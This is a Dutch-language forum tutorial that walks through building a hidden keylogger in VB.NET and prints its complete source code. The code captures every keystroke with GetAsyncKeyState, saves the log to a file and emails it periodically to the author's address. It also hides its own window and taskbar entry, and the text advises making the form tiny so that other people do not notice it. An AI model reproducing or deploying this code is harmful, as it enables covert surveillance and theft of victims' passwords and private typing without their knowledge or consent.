Keylogger maken in VB.net

In deze tutorial leg ik LaugHawa je uit hoe je een Keylogger kunt maken in VB

de objecten die je nodig hebt:
1. 1 x timer (timer1 | enabled = true | interval = 1)
2. 1 x richtextbox (txtkeys)

om te opties te wijzigen selecteer het object dan en kijken in het menu
properties

om bij de codes te komen kun je dubbel klikken op de balk waar form1 in staat.

wat je als eerste moet doen is het ophalen van informatie uit een dll genaamd user32
dit doe je door boven aan je code te zetten

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

ook hebben we een variabele nodig die de opgehaalde toetsen vast houd om die daarna
over te zetten naar txtkeys
om deze variabele te maken heb je deze code nodig

Dim result As Integer

als het goed is ziet je code er nu zo uit

Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub
End Class

oke nu gaan we kijken welke toetsen worden ingedrukt dit doe je door terug te gaan naar de designer en nu dubbel te klikken op timer1
nu zie je dat er een stukje code bij je oude code is gekomen.
vul hier in:

 REM er word hier voor elk teken gekeken of het word
REM ingedrukt er zijn 255 ver schillende tekens mogelijk
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i) REM hier wordt gekeken welke toetsen zijn ingedrukt

REM vanaf hier word gekeken of de toetsen gelijk zijn aan een
REM bepaald teken als dat zo is word het teken vervangen
REM door wat hetb eigelijk moet voor stellen.
If result = -32767 Then
If Chr(i) = "(" Then
txtkeys.Text = txtkeys.Text & "[Arrow Down]"
ElseIf Chr(i) = "%" Then
txtkeys.Text = txtkeys.Text & "[Arrow Left]"
ElseIf Chr(i) = "'" Then
txtkeys.Text = txtkeys.Text & "[Arrow Right]"
ElseIf Chr(i) = "&" Then
txtkeys.Text = txtkeys.Text & "[Arrow up]"
ElseIf Chr(i) = "
" Then
txtkeys.Text = txtkeys.Text & "[mouse click left]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[mouse click right]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[backspace]"
ElseIf Chr(i) = "." Then
txtkeys.Text = txtkeys.Text & "[delete]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[shift]"
ElseIf Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[tab]"
ElseIf Chr(i) = "¾" Then
txtkeys.Text = txtkeys.Text & "."
ElseIf Chr(i) = "¼" Then
txtkeys.Text = txtkeys.Text & ","
ElseIf Chr(i) = "¿" Then
txtkeys.Text = txtkeys.Text & "/"
REM als re geen teken past dan is het of een enter of een letter
REM enters kun je niet uit de tekens halen want dat teken wordt in VB
REM ook al als enter gepakt.
Else
txtkeys.Text = txtkeys.Text & Chr(i)
End If
End If
Next i

alles met REM er voor is commentaar in VB (compiler) zal dit groen worden
dit was de keylogger

maar ja als dit gewoon ergens in een textbox wordt gezet en verder als de keylogger wordt afgesloten weer wordt weggegooit heb je er ook niks aan

in dit stukje ga ik je leren hoe je de toetsen kunt opslaan en kunt e-mailen

nu moet je nieuwe objecten aan maken :
1. 2 x timer (timer2 | interval = 100000 | enabled = true en timer3 | interval = 1 | enabled = true)

zorg nu dat je de timers in je code er bij krijgt (dubbel klik op de timers)
oke zet nu bij de code van timer 2

txtkeys.SaveFile("log.txt")

dit zal ervoor zorgen dat om de 100 secounde een nieuw bestand word gemaakt en
het oude wordt verwijdert

nu gaan we verder met de mail functie:
zet boven aan onder

dim results as integer

dim letters as integer
dim emailtijd as integer
dim objmessage = createobject("CDO.Message")

zet nu ook in de code van timer1 onder

if result = -32767 then

de code

emailtijd += 1
letters += 1

oke dat waren de dingen die we moesten uitbreiden

nu moeten we in de code van timer3 het volgende zetten

if emailtijd = "25" then
emailtijd = "0"
objmessage.subject = "keylogger"
objmessage.from = "jouw e-mail adres hier"
objmessage.to = "jouw e-mail adres hier"
objmessage.textbody = txtkeys.text & vbnewline & vbnewline & vbnewline & vbnewline & vbnewline & vbnewline & "er zijn tot deze e-mail" & letters & "knoppen ingedrukt"
objmessage.send()
end if

vul wel even op de plaatsen waar staat jouw e-mail hier je
e-mail adres in.

de mail functie werkt niet op vista dus:
moeten we zorgen dat het niet crast als de keylogger op vista draait
dit don we door boven

emailtijd = "0"

deze code te zetten

On Error Resume Next

oke nu gaan we de keylogger onzicht baar maken zet in het stukje van form1
dit staat boven timer1 dit stukje code

Me.Opacity = 0.01
Me.ShowInTaskbar = False
txtkeys.Enabled = False

dit was de keylogger als hij iets niet doet kijk dan even of alle timer wel aan staan (enabled = true)

als je alles goed hebt gedaan zou je code er nu zo uit moeten zien

Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Dim letters As Integer
Dim emailtijd As Integer
Dim objmessage = CreateObject("CDO.Message")
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Opacity = 0.01
Me.ShowInTaskbar = False
txtkeys.Enabled = False
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
REM er word hier voor elk teken gekeken of het word
REM ingedrukt er zijn 255 ver schillende tekens mogelijk
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i) REM hier wordt gekeken welke toetsen zijn ingedrukt

REM vanaf hier word gekeken of de toetsen gelijk zijn aan een
REM bepaald teken als dat zo is word het teken vervangen
REM door wat hetb eigelijk moet voor stellen.
If result = -32767 Then

emailtijd += 1
letters += 1

If Chr(i) = "(" Then
txtkeys.Text = txtkeys.Text & "[Arrow Down]" & vbNewLine
ElseIf Chr(i) = "%" Then
txtkeys.Text = txtkeys.Text & "[Arrow Left]" & vbNewLine
ElseIf Chr(i) = "'" Then
txtkeys.Text = txtkeys.Text & "[Arrow Right]" & vbNewLine
ElseIf Chr(i) = "&" Then
txtkeys.Text = txtkeys.Text & "[Arrow up]" & vbNewLine
ElseIf Chr(i) = "
" Then
txtkeys.Text = txtkeys.Text & "[mouse click left]" & vbNewLine
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[mouse click right]" & vbNewLine
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[backspace]" & vbNewLine
ElseIf Chr(i) = "." Then
txtkeys.Text = txtkeys.Text & "[delete]" & vbNewLine
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[shift]" & vbNewLine
ElseIf Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[tab]" & vbNewLine
ElseIf Chr(i) = "¾" Then
txtkeys.Text = txtkeys.Text & "."
ElseIf Chr(i) = "¼" Then
txtkeys.Text = txtkeys.Text & ","
ElseIf Chr(i) = "¿" Then
txtkeys.Text = txtkeys.Text & "/"
REM als re geen teken past dan is het of een enter of een letter
REM enters kun je niet uit de tekens halen want dat teken wordt in VB
REM ook al als enter gepakt.
Else
txtkeys.Text = txtkeys.Text & Chr(i)
End If
End If
Next i
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
txtkeys.SaveFile("log.txt")
End Sub

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
If emailtijd > "24" Then
On Error Resume Next
emailtijd = "0"
objmessage.subject = "keylogger"
objmessage.from = "hier jouw e-mail"
objmessage.to = "hier jouw e-mail"
objmessage.textbody = txtkeys.Text & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & "er zijn tot deze e-mail" & letters & "knoppen ingedrukt"
objmessage.send()
End If
End Sub
End Class

om de .exe file van jouw keylogger te krijgen moet je project saven en
dan compileren en dan naar de release folder gaan

dit doe je zo
file->save all (kies hier een plaats waar je het programmatje wilt saven)
doe nu compileren
build -> build (hier staat de naam van je programmatje)
ga nu naar de plaats waar je je programmatje hebt gesaved
ga dan naar
(de naam van je programatje) -> (de naam van je programmatje) -> bin -> release
hier stat je programmatje helemaal klaar alles wat nodig is is allen de exe file de rest is niet nodig nu kun je je progbrammatje kopieren en testen

je kunt het beste je form 1 zo klein mogelijk maken dan kunnen mensen er niet perongelukt in kopen of zien dat die er is om dit te doen ga je naar de desinger en pak je de rand van form 1 en trek je die gewoon naar zijn formaat hoe jij hem wilt hebben net zo als bij een normaal programmatje

Reacties (61)

Plaats reactie